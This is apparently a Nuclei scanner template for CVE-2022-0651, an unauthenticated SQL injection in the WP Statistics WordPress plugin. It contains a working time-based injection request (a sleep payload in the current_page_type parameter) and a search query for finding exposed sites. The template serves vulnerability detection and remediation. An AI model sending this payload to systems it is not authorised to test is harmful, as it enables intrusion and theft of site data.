id: CVE-2022-0651 info: name: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection author: theamanrawat severity: high description: | The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_type parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5. remediation: Update wp-statistics plugin to version 13.1.6, or newer. reference: - https://wordpress.org/plugins/wp-statistics/ - https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042 - https://nvd.nist.gov/vuln/detail/CVE-2022-0651 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail= - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0651 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-0651 cwe-id: CWE-89 epss-score: 0.34697 epss-percentile: 0.96721 cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: veronalabs product: wp_statistics framework: wordpress google-query: inurl:/wp-content/plugins/wp-statistics tags: cve,cve2022,sqli,wp,wordpress,wp-plugin,wp-statistics,veronalabs http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | @timeout: 20s GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home'-sleep(6)-'¤t_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1 Host: {{Hostname}} host-redirects: true matchers: - type: dsl dsl: - duration>=6 - status_code == 200 - contains(header, "application/json") - contains(body, 'Visitor Hit was recorded successfully') condition: and extractors: - type: regex name: nonce group: 1 regex: - '_wpnonce=([0-9a-zA-Z]+)' internal: true # digest: 4b0a0048304602210092e5642c6c5b08daa4000f68a948160a1d0d924227b8332de3c7700798ae009e022100e62d7f4a81ebe088f6e4bb11a1f5804845f132125613ebb5e45f9a78e3828459:922c64590222798bb761d5b6d8e72950